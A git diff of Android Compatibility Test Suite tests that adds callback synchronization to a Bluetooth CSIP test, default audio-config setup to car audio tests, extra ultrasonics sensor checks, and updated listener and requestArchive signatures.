diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java
index f9d8d6c..9963fb4 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java
@@ -63,6 +63,7 @@
private static final String TAG = BluetoothCsipSetCoordinatorTest.class.getSimpleName();
private static final int PROXY_CONNECTION_TIMEOUT_MS = 500; // ms timeout for Proxy Connect
+ private static final int TEST_CALLBACK_TIMEOUT_MS = 500; // ms timeout for test callback
private Context mContext;
private BluetoothAdapter mAdapter;
@@ -73,6 +74,8 @@
private Condition mConditionProfileConnection;
private ReentrantLock mProfileConnectionlock;
private boolean mGroupLockCallbackCalled;
+ private Condition mConditionTestCallback;
+ private ReentrantLock mTestCallbackLock;
private TestCallback mTestCallback;
private Executor mTestExecutor;
private BluetoothDevice mTestDevice;
@@ -83,13 +86,39 @@
class TestCallback implements BluetoothCsipSetCoordinator.ClientLockCallback {
@Override
public void onGroupLockSet(int groupId, int opStatus, boolean isLocked) {
- mGroupLockCallbackCalled = true;
+ mTestCallbackLock.lock();
assertTrue(groupId == mTestGroupId);
assertTrue(opStatus == mTestOperationStatus);
assertTrue(isLocked == mIsLocked);
+ mGroupLockCallbackCalled = true;
+ try {
+ mConditionTestCallback.signal();
+ } finally {
+ mTestCallbackLock.unlock();
+ }
}
};
+ private boolean waitForGroupLockCallback() {
+ mTestCallbackLock.lock();
+ try {
+ // Wait for call of group lock callback
+ while (!mGroupLockCallbackCalled) {
+ if (!mConditionTestCallback.await(
+ TEST_CALLBACK_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+ // Timeout
+ Log.e(TAG, "Timeout while waiting for Group Lock Callback");
+ break;
+ } // else spurious wakeups
+ }
+ } catch (InterruptedException e) {
+ Log.e(TAG, "waitForGroupLockCallback: interrupted");
+ } finally {
+ mTestCallbackLock.unlock();
+ }
+ return mGroupLockCallbackCalled;
+ }
+
@Before
public void setUp() throws Exception {
mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
@@ -118,6 +147,10 @@
Assume.assumeTrue(mAdapter.getProfileProxy(mContext,
new BluetoothCsipServiceListener(), BluetoothProfile.CSIP_SET_COORDINATOR));
+ mTestCallbackLock = new ReentrantLock();
+ mConditionTestCallback = mTestCallbackLock.newCondition();
+ mGroupLockCallbackCalled = false;
+
mTestCallback = new TestCallback();
mTestExecutor = mContext.getMainExecutor();
}
@@ -131,6 +164,7 @@
mTestDevice = null;
mIsLocked = false;
mTestOperationStatus = 0;
+ mGroupLockCallbackCalled = false;
mTestCallback = null;
mTestExecutor = null;
}
@@ -243,6 +277,8 @@
fail("Exception caught from register(): " + e.toString());
}
+ assertTrue(waitForGroupLockCallback());
+
long uuidLsb = 0x01;
long uuidMsb = 0x01;
UUID uuid = new UUID(uuidMsb, uuidLsb);
@@ -265,7 +301,7 @@
mIsLocked = true;
mTestCallback.onGroupLockSet(mTestGroupId, mTestOperationStatus, mIsLocked);
- assertTrue(mGroupLockCallbackCalled);
+ assertTrue(waitForGroupLockCallback());
}
@CddTest(requirements = {"7.4.3/C-2-1", "7.4.3/C-3-2"})
@@ -298,7 +334,7 @@
} // else spurious wakeups
}
} catch (InterruptedException e) {
- Log.e(TAG, "waitForProfileConnect: interrrupted");
+ Log.e(TAG, "waitForProfileConnect: interrupted");
} finally {
mProfileConnectionlock.unlock();
}
@@ -318,7 +354,7 @@
} // else spurious wakeups
}
} catch (InterruptedException e) {
- Log.e(TAG, "waitForProfileDisconnect: interrrupted");
+ Log.e(TAG, "waitForProfileDisconnect: interrupted");
} finally {
mProfileConnectionlock.unlock();
}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/SystemBluetoothTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/SystemBluetoothTest.java
index e2bad42..8447843 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/SystemBluetoothTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/SystemBluetoothTest.java
@@ -156,8 +156,11 @@
assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
if (!TestUtils.isLocationOn(mContext)) {
- TestUtils.enableLocation(mContext);
recoverOffState = true;
+ TestUtils.enableLocation(mContext);
+ mUiAutomation.grantRuntimePermission(
+ "android.bluetooth.cts",
+ android.Manifest.permission.ACCESS_FINE_LOCATION);
}
mDiscoveryStartedLock = new ReentrantLock();
@@ -178,6 +181,9 @@
} finally {
if (recoverOffState) {
TestUtils.disableLocation(mContext);
+ mUiAutomation.revokeRuntimePermission(
+ "android.bluetooth.cts",
+ android.Manifest.permission.ACCESS_FINE_LOCATION);
}
}
}
diff --git a/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java b/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
index bddb849..353c5d2 100644
--- a/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
@@ -391,15 +391,17 @@
}
@Test
- @EnsureHasPermission(Car.PERMISSION_CAR_CONTROL_AUDIO_VOLUME)
+ @EnsureHasPermission({Car.PERMISSION_CAR_CONTROL_AUDIO_VOLUME,
+ Car.PERMISSION_CAR_CONTROL_AUDIO_SETTINGS})
@ApiTest(apis = {"android.car.media.CarAudioManager#getVolumeGroupInfosForZone",
- "android.car.media.CarVolumeGroupInfo#getAudioDeviceAttributes"})
+ "android.car.media.CarVolumeGroupInfo#getAudioDeviceAttributes",
+ "android.car.media.CarVolumeGroupInfo#isDefault"})
@RequiresFlagsEnabled(Flags.FLAG_CAR_AUDIO_DYNAMIC_DEVICES)
- public void getVolumeGroupInfosForZone_forPrimaryZone_withAudioDeviceAttributes() {
+ public void getVolumeGroupInfosForZone_forPrimaryZone_withAudioDeviceAttributes()
+ throws Exception {
assumeDynamicRoutingIsEnabled();
+ setUpDefaultCarAudioConfigurationForZone(PRIMARY_AUDIO_ZONE);
- // TODO(b/307824959): Setup default config for test when dynamic switching
- // is available for primary zone.
List<CarVolumeGroupInfo> infos =
mCarAudioManager.getVolumeGroupInfosForZone(PRIMARY_AUDIO_ZONE);
@@ -1071,13 +1073,13 @@
@ApiTest(apis = {"android.car.media.CarAudioManager#getCurrentAudioZoneConfigInfo"})
public void getCurrentAudioZoneConfigInfo() {
assumeDynamicRoutingIsEnabled();
- List<TestZoneConfigInfo> zoneConfigs = assumeSecondaryZoneConfigs();
+ List<TestZoneConfigIdInfo> zoneConfigs = assumeSecondaryZoneConfigs();
CarAudioZoneConfigInfo currentZoneConfigInfo =
mCarAudioManager.getCurrentAudioZoneConfigInfo(mZoneId);
assertWithMessage("Current zone config info")
- .that(TestZoneConfigInfo.getZoneConfigFromInfo(currentZoneConfigInfo))
+ .that(TestZoneConfigIdInfo.getZoneConfigFromInfo(currentZoneConfigInfo))
.isIn(zoneConfigs);
}
@@ -1087,22 +1089,26 @@
@ApiTest(apis = {"android.car.media.CarAudioManager#getCurrentAudioZoneConfigInfo",
"android.car.media.CarAudioZoneConfigInfo#isActive",
"android.car.media.CarAudioZoneConfigInfo#isSelected",
+ "android.car.media.CarAudioZoneConfigInfo#isDefault",
"android.car.media.CarAudioZoneConfigInfo#getConfigVolumeGroups"})
@RequiresFlagsEnabled(Flags.FLAG_CAR_AUDIO_DYNAMIC_DEVICES)
- public void getCurrentAudioZoneConfigInfo_withDynamicDevicesEnabled() {
+ public void getCurrentAudioZoneConfigInfo_withDynamicDevicesEnabled() throws Exception {
assumeDynamicRoutingIsEnabled();
- List<TestZoneConfigInfo> zoneConfigs = assumeSecondaryZoneConfigs();
+ List<TestZoneConfigIdInfo> zoneConfigs = assumeSecondaryZoneConfigs();
+ setUpDefaultCarAudioConfigurationForZone(mZoneId);
CarAudioZoneConfigInfo currentZoneConfigInfo =
mCarAudioManager.getCurrentAudioZoneConfigInfo(mZoneId);
assertWithMessage("Current zone config info, with dynamic device enabled")
- .that(TestZoneConfigInfo.getZoneConfigFromInfo(currentZoneConfigInfo))
+ .that(TestZoneConfigIdInfo.getZoneConfigFromInfo(currentZoneConfigInfo))
.isIn(zoneConfigs);
assertWithMessage("Current zone config info active status")
.that(currentZoneConfigInfo.isActive()).isTrue();
assertWithMessage("Current zone config info selected status")
.that(currentZoneConfigInfo.isSelected()).isTrue();
+ assertWithMessage("Current zone config info default indicator")
+ .that(currentZoneConfigInfo.isDefault()).isFalse();
List<CarVolumeGroupInfo> currentInfos =
mCarAudioManager.getVolumeGroupInfosForZone(mZoneId);
for (CarVolumeGroupInfo info : currentInfos) {
@@ -1126,16 +1132,16 @@
@Test
@EnsureHasPermission(Car.PERMISSION_CAR_CONTROL_AUDIO_SETTINGS)
@ApiTest(apis = {"android.car.media.CarAudioManager#getAudioZoneConfigInfos"})
- public void getAudioZoneConfigInfos_forPrimaryZone_onlyOneConfigExists() {
+ public void getAudioZoneConfigInfos_forPrimaryZone() {
assumeDynamicRoutingIsEnabled();
- TestZoneConfigInfo primaryZoneConfigFromDump = parsePrimaryZoneConfigs();
+ List<TestZoneConfigIdInfo> primaryZoneConfigsFromDump = parsePrimaryZoneConfigs();
List<CarAudioZoneConfigInfo> zoneConfigInfos =
mCarAudioManager.getAudioZoneConfigInfos(PRIMARY_AUDIO_ZONE);
assertWithMessage("Primary audio zone config")
- .that(TestZoneConfigInfo.getZoneConfigListFromInfoList(zoneConfigInfos))
- .containsExactly(primaryZoneConfigFromDump);
+ .that(TestZoneConfigIdInfo.getZoneConfigListFromInfoList(zoneConfigInfos))
+ .containsExactlyElementsIn(primaryZoneConfigsFromDump);
}
@Test
@@ -1143,13 +1149,13 @@
@ApiTest(apis = {"android.car.media.CarAudioManager#getAudioZoneConfigInfos"})
public void getAudioZoneConfigInfos_forSecondaryZone() {
assumeDynamicRoutingIsEnabled();
- List<TestZoneConfigInfo> zoneConfigs = assumeSecondaryZoneConfigs();
+ List<TestZoneConfigIdInfo> zoneConfigs = assumeSecondaryZoneConfigs();
List<CarAudioZoneConfigInfo> zoneConfigInfosFromDump =
mCarAudioManager.getAudioZoneConfigInfos(mZoneId);
assertWithMessage("All zone config infos")
- .that(TestZoneConfigInfo.getZoneConfigListFromInfoList(zoneConfigInfosFromDump))
+ .that(TestZoneConfigIdInfo.getZoneConfigListFromInfoList(zoneConfigInfosFromDump))
.containsExactlyElementsIn(zoneConfigs);
}
@@ -1468,11 +1474,11 @@
.collect(Collectors.toList());
}
- private List<TestZoneConfigInfo> assumeSecondaryZoneConfigs() {
+ private List<TestZoneConfigIdInfo> assumeSecondaryZoneConfigs() {
List<Integer> audioZonesWithPassengers = getAvailablePassengerAudioZone();
assumeFalse("Requires a zone with a passenger/user", audioZonesWithPassengers.isEmpty());
- SparseArray<List<TestZoneConfigInfo>> zoneConfigs = parseAudioZoneConfigs();
- List<TestZoneConfigInfo> secondaryZoneConfigs = null;
+ SparseArray<List<TestZoneConfigIdInfo>> zoneConfigs = parseAudioZoneConfigs();
+ List<TestZoneConfigIdInfo> secondaryZoneConfigs = null;
for (int index = 0; index < audioZonesWithPassengers.size(); index++) {
int zoneId = audioZonesWithPassengers.get(index);
if (zoneConfigs.contains(zoneId) && zoneConfigs.get(zoneId).size() > 1) {
@@ -1486,16 +1492,16 @@
return secondaryZoneConfigs;
}
- private TestZoneConfigInfo parsePrimaryZoneConfigs() {
- SparseArray<List<TestZoneConfigInfo>> zoneConfigs = parseAudioZoneConfigs();
- List<TestZoneConfigInfo> primaryZoneConfigs = zoneConfigs.get(PRIMARY_AUDIO_ZONE);
+ private List<TestZoneConfigIdInfo> parsePrimaryZoneConfigs() {
+ SparseArray<List<TestZoneConfigIdInfo>> zoneConfigs = parseAudioZoneConfigs();
+ List<TestZoneConfigIdInfo> primaryZoneConfigs = zoneConfigs.get(PRIMARY_AUDIO_ZONE);
assertWithMessage("Dumped primary audio zone configuration")
.that(primaryZoneConfigs).isNotNull();
- return primaryZoneConfigs.get(0);
+ return primaryZoneConfigs;
}
- private SparseArray<List<TestZoneConfigInfo>> parseAudioZoneConfigs() {
- SparseArray<List<TestZoneConfigInfo>> zoneConfigs = new SparseArray<>();
+ private SparseArray<List<TestZoneConfigIdInfo>> parseAudioZoneConfigs() {
+ SparseArray<List<TestZoneConfigIdInfo>> zoneConfigs = new SparseArray<>();
if (Flags.carDumpToProto()) {
List<CarAudioZoneProto> zoneProtoList = mCarAudioServiceProtoDump
.getCarAudioZonesList();
@@ -1509,7 +1515,7 @@
}
int zoneConfigId = zoneConfigProtoList.get(configIndex).getId();
String configName = zoneConfigProtoList.get(configIndex).getName();
- zoneConfigs.get(zoneId).add(new TestZoneConfigInfo(zoneId, zoneConfigId,
+ zoneConfigs.get(zoneId).add(new TestZoneConfigIdInfo(zoneId, zoneConfigId,
configName));
}
}
@@ -1522,7 +1528,7 @@
if (!zoneConfigs.contains(zoneId)) {
zoneConfigs.put(zoneId, new ArrayList<>());
}
- zoneConfigs.get(zoneId).add(new TestZoneConfigInfo(zoneId, zoneConfigId,
+ zoneConfigs.get(zoneId).add(new TestZoneConfigIdInfo(zoneId, zoneConfigId,
configName));
}
}
@@ -1778,6 +1784,22 @@
getNumberOfPrimaryZoneAudioMediaCallbacks() == 0);
}
+ private void setUpDefaultCarAudioConfigurationForZone(int zoneId) throws Exception {
+ CarAudioZoneConfigInfo current =
+ mCarAudioManager.getCurrentAudioZoneConfigInfo(zoneId);
+ if (current != null && current.isDefault()) {
+ return;
+ }
+
+ CarAudioZoneConfigInfo defaultConfig =
+ mCarAudioManager.getAudioZoneConfigInfos(zoneId).stream()
+ .filter(CarAudioZoneConfigInfo::isDefault).findFirst().orElseThrow();
+ Executor callbackExecutor = Executors.newFixedThreadPool(1);
+ TestSwitchAudioZoneConfigCallback callback = new TestSwitchAudioZoneConfigCallback();
+ mCarAudioManager.switchAudioZoneToConfig(defaultConfig, callbackExecutor, callback);
+ callback.receivedApproval();
+ }
+
private void assumeDynamicRoutingIsEnabled() {
assumeTrue("Requires dynamic audio routing",
mCarAudioManager.isAudioFeatureEnabled(AUDIO_FEATURE_DYNAMIC_ROUTING));
@@ -1931,12 +1953,12 @@
}
}
- private static final class TestZoneConfigInfo {
+ private static final class TestZoneConfigIdInfo {
private final int mZoneId;
private final int mConfigId;
private final String mConfigName;
- TestZoneConfigInfo(int zoneId, int configId, String configName) {
+ TestZoneConfigIdInfo(int zoneId, int configId, String configName) {
mZoneId = zoneId;
mConfigId = configId;
mConfigName = configName;
@@ -1948,24 +1970,24 @@
return true;
}
- if (!(o instanceof TestZoneConfigInfo)) {
+ if (!(o instanceof TestZoneConfigIdInfo)) {
return false;
}
- TestZoneConfigInfo that = (TestZoneConfigInfo) o;
+ TestZoneConfigIdInfo that = (TestZoneConfigIdInfo) o;
return mZoneId == that.mZoneId && mConfigId == that.mConfigId
&& mConfigName.equals(that.mConfigName);
}
- static TestZoneConfigInfo getZoneConfigFromInfo(CarAudioZoneConfigInfo configInfo) {
- return new TestZoneConfigInfo(configInfo.getZoneId(), configInfo.getConfigId(),
+ static TestZoneConfigIdInfo getZoneConfigFromInfo(CarAudioZoneConfigInfo configInfo) {
+ return new TestZoneConfigIdInfo(configInfo.getZoneId(), configInfo.getConfigId(),
configInfo.getName());
}
- static List<TestZoneConfigInfo> getZoneConfigListFromInfoList(
+ static List<TestZoneConfigIdInfo> getZoneConfigListFromInfoList(
List<CarAudioZoneConfigInfo> configInfo) {
- List<TestZoneConfigInfo> zoneConfigs = new ArrayList<>(configInfo.size());
+ List<TestZoneConfigIdInfo> zoneConfigs = new ArrayList<>(configInfo.size());
Log.e(TAG, "getZoneConfigListFromInfoList " + configInfo.size());
for (int index = 0; index < configInfo.size(); index++) {
zoneConfigs.add(getZoneConfigFromInfo(configInfo.get(index)));
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
index e81a8f7..a5bc85f 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
@@ -2664,7 +2664,8 @@
Integer[].class, mCarPropertyManager)
.setCarPropertyValueVerifier(
(carPropertyConfig, propertyId, areaId, timestampNanos, positions) -> {
- assertWithMessage("ULTRASONICS_SENSOR_POSITION must specify 3 values")
+ assertWithMessage("ULTRASONICS_SENSOR_POSITION must specify 3 values, "
+ + "areaId: " + areaId)
.that(positions.length)
.isEqualTo(3);
})
@@ -2688,7 +2689,7 @@
.setCarPropertyValueVerifier(
(carPropertyConfig, propertyId, areaId, timestampNanos, orientations) -> {
assertWithMessage("ULTRASONICS_SENSOR_ORIENTATION must specify 4 "
- + "values")
+ + "values, areaId: " + areaId)
.that(orientations.length)
.isEqualTo(4);
})
@@ -2712,15 +2713,15 @@
.setCarPropertyValueVerifier(
(carPropertyConfig, propertyId, areaId, timestampNanos, fieldOfViews) -> {
assertWithMessage("ULTRASONICS_SENSOR_FIELD_OF_VIEW must specify 2 "
- + "values")
+ + "values, areaId: " + areaId)
.that(fieldOfViews.length)
.isEqualTo(2);
assertWithMessage("ULTRASONICS_SENSOR_FIELD_OF_VIEW horizontal fov "
- + "must be greater than zero")
+ + "must be greater than zero, areaId: " + areaId)
.that(fieldOfViews[0])
.isGreaterThan(0);
assertWithMessage("ULTRASONICS_SENSOR_FIELD_OF_VIEW vertical fov "
- + "must be greater than zero")
+ + "must be greater than zero, areaId: " + areaId)
.that(fieldOfViews[1])
.isGreaterThan(0);
})
@@ -2745,15 +2746,15 @@
(carPropertyConfig, propertyId, areaId, timestampNanos, detectionRanges)
-> {
assertWithMessage("ULTRASONICS_SENSOR_DETECTION_RANGE must "
- + "specify 2 values")
+ + "specify 2 values, areaId: " + areaId)
.that(detectionRanges.length)
.isEqualTo(2);
assertWithMessage("ULTRASONICS_SENSOR_DETECTION_RANGE min value must "
- + "be at least zero")
+ + "be at least zero, areaId: " + areaId)
.that(detectionRanges[0])
.isAtLeast(0);
assertWithMessage("ULTRASONICS_SENSOR_DETECTION_RANGE max value must "
- + "be greater than min")
+ + "be greater than min, areaId: " + areaId)
.that(detectionRanges[1])
.isGreaterThan(detectionRanges[0]);
})
@@ -2778,20 +2779,20 @@
(carPropertyConfig, propertyId, areaId, timestampNanos, supportedRanges)
-> {
assertWithMessage("ULTRASONICS_SENSOR_SUPPORTED_RANGES must "
- + "must have at least 1 range")
+ + "must have at least 1 range, areaId: " + areaId)
.that(supportedRanges.length)
.isAtLeast(2);
assertWithMessage("ULTRASONICS_SENSOR_SUPPORTED_RANGES must "
- + "specify an even number of values")
+ + "specify an even number of values, areaId: " + areaId)
.that(supportedRanges.length % 2)
.isEqualTo(0);
assertWithMessage("ULTRASONICS_SENSOR_SUPPORTED_RANGES values "
- + "must be greater than zero")
+ + "must be greater than zero, areaId: " + areaId)
.that(supportedRanges[0])
.isAtLeast(0);
for (int i = 1; i < supportedRanges.length; i++) {
assertWithMessage("ULTRASONICS_SENSOR_SUPPORTED_RANGES values "
- + "must be in ascending order")
+ + "must be in ascending order, areaId: " + areaId)
.that(supportedRanges[i])
.isGreaterThan(supportedRanges[i - 1]);
}
@@ -2804,18 +2805,21 @@
private void verifyUltrasonicsSupportedRangesWithinDetectionRange(
int areaId, Integer[] supportedRanges) {
+ if (mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.ULTRASONICS_SENSOR_DETECTION_RANGE) == null) {
+ return;
+ }
+
Integer[] detectionRange = (Integer[]) mCarPropertyManager.getProperty(
VehiclePropertyIds.ULTRASONICS_SENSOR_DETECTION_RANGE, areaId).getValue();
- if (mCarPropertyManager.getCarPropertyConfig(
- VehiclePropertyIds.ULTRASONICS_SENSOR_DETECTION_RANGE) != null) {
- for (int i = 0; i < supportedRanges.length; i++) {
- assertWithMessage("ULTRASONICS_SENSOR_SUPPORTED_RANGES values must "
- + "be within the ULTRASONICS_SENSOR_DETECTION_RANGE")
- .that(supportedRanges[i])
- .isIn(Range.closed(
- detectionRange[0],
- detectionRange[1]));
- }
+
+ for (int i = 0; i < supportedRanges.length; i++) {
+ assertWithMessage("ULTRASONICS_SENSOR_SUPPORTED_RANGES values must "
+ + "be within the ULTRASONICS_SENSOR_DETECTION_RANGE, areaId: " + areaId)
+ .that(supportedRanges[i])
+ .isIn(Range.closed(
+ detectionRange[0],
+ detectionRange[1]));
}
}
@@ -2836,14 +2840,70 @@
(carPropertyConfig, propertyId, areaId, timestampNanos, distance)
-> {
assertWithMessage("ULTRASONICS_SENSOR_MEASURED_DISTANCE must "
- + "must have at most 2 values")
+ + "have at most 2 values, areaId: " + areaId)
.that(distance.length)
.isAtMost(2);
+ if (distance.length == 2) {
+ assertWithMessage("ULTRASONICS_SENSOR_MEASURED_DISTANCE distance "
+ + "error must be greater than zero, areaId: " + areaId)
+ .that(distance[1])
+ .isAtLeast(0);
+ }
+ verifyUltrasonicsMeasuredDistanceInSupportedRanges(areaId, distance);
+ verifyUltrasonicsMeasuredDistanceWithinDetectionRange(areaId, distance);
})
.addReadPermission(Car.PERMISSION_READ_ULTRASONICS_SENSOR_DATA)
.build();
}
+ private void verifyUltrasonicsMeasuredDistanceInSupportedRanges(
+ int areaId, Integer[] distance) {
+ // Distance with length of 0 is valid. return because there are no values to verify.
+ if (distance.length == 0) {
+ return;
+ }
+
+ if (mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.ULTRASONICS_SENSOR_SUPPORTED_RANGES) == null) {
+ return;
+ }
+
+ Integer[] supportedRanges = (Integer[]) mCarPropertyManager.getProperty(
+ VehiclePropertyIds.ULTRASONICS_SENSOR_SUPPORTED_RANGES, areaId).getValue();
+ ImmutableSet.Builder<Integer> minimumSupportedRangeValues = ImmutableSet.builder();
+ for (int i = 0; i < supportedRanges.length; i += 2) {
+ minimumSupportedRangeValues.add(supportedRanges[i]);
+ }
+
+ assertWithMessage("ULTRASONICS_SENSOR_MEASURED_DISTANCE distance must be one of the "
+ + "minimum values in ULTRASONICS_SENSOR_SUPPORTED_RANGES, areaId: "
+ + areaId)
+ .that(distance[0])
+ .isIn(minimumSupportedRangeValues.build());
+ }
+
+ private void verifyUltrasonicsMeasuredDistanceWithinDetectionRange(
+ int areaId, Integer[] distance) {
+ // Distance with length of 0 is valid. return because there are no values to verify.
+ if (distance.length == 0) {
+ return;
+ }
+
+ if (mCarPropertyManager.getCarPropertyConfig(
+ VehiclePropertyIds.ULTRASONICS_SENSOR_DETECTION_RANGE) == null) {
+ return;
+ }
+
+ Integer[] detectionRange = (Integer[]) mCarPropertyManager.getProperty(
+ VehiclePropertyIds.ULTRASONICS_SENSOR_DETECTION_RANGE, areaId).getValue();
+ assertWithMessage("ULTRASONICS_SENSOR_MEASURED_DISTANCE distance must "
+ + "be within the ULTRASONICS_SENSOR_DETECTION_RANGE, areaId: " + areaId)
+ .that(distance[0])
+ .isIn(Range.closed(
+ detectionRange[0],
+ detectionRange[1]));
+ }
+
@Test
@RequiresFlagsEnabled(Flags.FLAG_ANDROID_VIC_VEHICLE_PROPERTIES)
public void testUltrasonicsSensorMeasuredDistanceIfSupported() {
diff --git a/tests/tests/companion/core/src/android/companion/cts/core/TransportPermissionTest.kt b/tests/tests/companion/core/src/android/companion/cts/core/TransportPermissionTest.kt
index 8aa26b2..f0a9293 100644
--- a/tests/tests/companion/core/src/android/companion/cts/core/TransportPermissionTest.kt
+++ b/tests/tests/companion/core/src/android/companion/cts/core/TransportPermissionTest.kt
@@ -19,12 +19,12 @@
import android.Manifest
import android.companion.AssociationInfo
import android.companion.CompanionDeviceManager.MESSAGE_REQUEST_PING
-import android.companion.CompanionDeviceManager.OnMessageReceivedListener
-import android.companion.CompanionDeviceManager.OnTransportsChangedListener
import android.companion.cts.common.MAC_ADDRESS_A
import android.companion.cts.common.SIMPLE_EXECUTOR
import android.platform.test.annotations.AppModeFull
import androidx.test.ext.junit.runners.AndroidJUnit4
+import java.util.function.BiConsumer
+import java.util.function.Consumer
import kotlin.test.assertFailsWith
import org.junit.Test
import org.junit.runner.RunWith
@@ -42,7 +42,7 @@
fun test_addOnTransportChangedListener_requiresPermission() {
// Create a regular (not self-managed) association.
targetApp.associate(MAC_ADDRESS_A)
- val listener = OnTransportsChangedListener { _: MutableList<AssociationInfo> -> }
+ val listener = Consumer<List<AssociationInfo>> { _: List<AssociationInfo> -> }
// Attempts to call addOnTransportChangedListener without the
// USE_COMPANION_TRANSPORTS permission should lead to a SecurityException
@@ -73,7 +73,7 @@
fun test_addOnMessageReceivedListener_requiresPermission() {
// Create a regular (not self-managed) association.
targetApp.associate(MAC_ADDRESS_A)
- val listener = OnMessageReceivedListener { _: Int, _: ByteArray -> }
+ val listener = BiConsumer<Int, ByteArray> { _: Int, _: ByteArray -> }
// Attempts to call addOnMessageReceivedListener without the
// USE_COMPANION_TRANSPORTS permission should lead to a SecurityException
diff --git a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
index 09cc00b..4fa7e61 100644
--- a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
@@ -372,7 +372,7 @@
() ->
mPackageInstaller.requestArchive(
ARCHIVE_PACKAGE_NAME,
- new IntentSender((IIntentSender) mIntentSender), 0),
+ new IntentSender((IIntentSender) mIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mIntentSender.mStatus.get()).isEqualTo(PackageInstaller.STATUS_SUCCESS);
@@ -414,7 +414,7 @@
() ->
mPackageInstaller.requestArchive(
ARCHIVE_PACKAGE_NAME,
- new IntentSender((IIntentSender) mIntentSender), 0),
+ new IntentSender((IIntentSender) mIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mIntentSender.mStatus.get()).isEqualTo(PackageInstaller.STATUS_SUCCESS);
@@ -470,7 +470,7 @@
() ->
mPackageInstaller.requestArchive(
ARCHIVE_PACKAGE_NAME,
- new IntentSender((IIntentSender) mIntentSender), 0),
+ new IntentSender((IIntentSender) mIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mIntentSender.mStatus.get()).isEqualTo(PackageInstaller.STATUS_SUCCESS);
ComponentName archiveAppComponentName =
@@ -512,7 +512,7 @@
() ->
mPackageInstaller.requestArchive(
ARCHIVE_PACKAGE_NAME,
- new IntentSender((IIntentSender) mIntentSender), 0),
+ new IntentSender((IIntentSender) mIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mIntentSender.mStatus.get()).isEqualTo(PackageInstaller.STATUS_SUCCESS);
@@ -536,7 +536,7 @@
() ->
mPackageInstaller.requestArchive(
ARCHIVE_PACKAGE_NAME,
- new IntentSender((IIntentSender) mIntentSender), 0),
+ new IntentSender((IIntentSender) mIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mIntentSender.mStatus.get()).isEqualTo(PackageInstaller.STATUS_SUCCESS);
ComponentName archiveAppComponentName =
@@ -558,7 +558,7 @@
() ->
mPackageInstaller.requestArchive(
ARCHIVE_PACKAGE_NAME,
- new IntentSender((IIntentSender) mIntentSender), 0),
+ new IntentSender((IIntentSender) mIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mIntentSender.mStatus.get()).isEqualTo(PackageInstaller.STATUS_SUCCESS);
ComponentName archiveAppComponentName =
@@ -579,7 +579,7 @@
() ->
mPackageInstaller.requestArchive(
ARCHIVE_PACKAGE_NAME,
- new IntentSender((IIntentSender) mIntentSender), 0),
+ new IntentSender((IIntentSender) mIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mIntentSender.mStatus.get()).isEqualTo(PackageInstaller.STATUS_SUCCESS);
@@ -599,7 +599,7 @@
() ->
mPackageInstaller.requestArchive(
ARCHIVE_PACKAGE_NAME,
- new IntentSender((IIntentSender) mIntentSender), 0),
+ new IntentSender((IIntentSender) mIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mIntentSender.mStatus.get()).isEqualTo(PackageInstaller.STATUS_SUCCESS);
@@ -616,7 +616,7 @@
installPackage(ARCHIVE_APK_PATH);
SystemUtil.runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(ARCHIVE_PACKAGE_NAME,
- new IntentSender((IIntentSender) mIntentSender), 0),
+ new IntentSender((IIntentSender) mIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mIntentSender.mStatus.get()).isEqualTo(PackageInstaller.STATUS_SUCCESS);
LauncherUnarchiveBroadcastReceiver unarchiveReceiver =
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageInstallerArchiveTest.java b/tests/tests/content/src/android/content/pm/cts/PackageInstallerArchiveTest.java
index b4eb15c..a5c9b12 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageInstallerArchiveTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageInstallerArchiveTest.java
@@ -180,7 +180,7 @@
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
Manifest.permission.DELETE_PACKAGES);
assertThat(mArchiveIntentSender.mPackage.get(5, TimeUnit.SECONDS)).isEqualTo(PACKAGE_NAME);
@@ -204,7 +204,7 @@
runWithShellPermissionIdentity(
() -> mPackageInstaller.requestArchive(PACKAGE_NAME,
- new IntentSender((IIntentSender) mArchiveIntentSender), 0),
+ new IntentSender((IIntentSender) mArchiveIntentSender)),
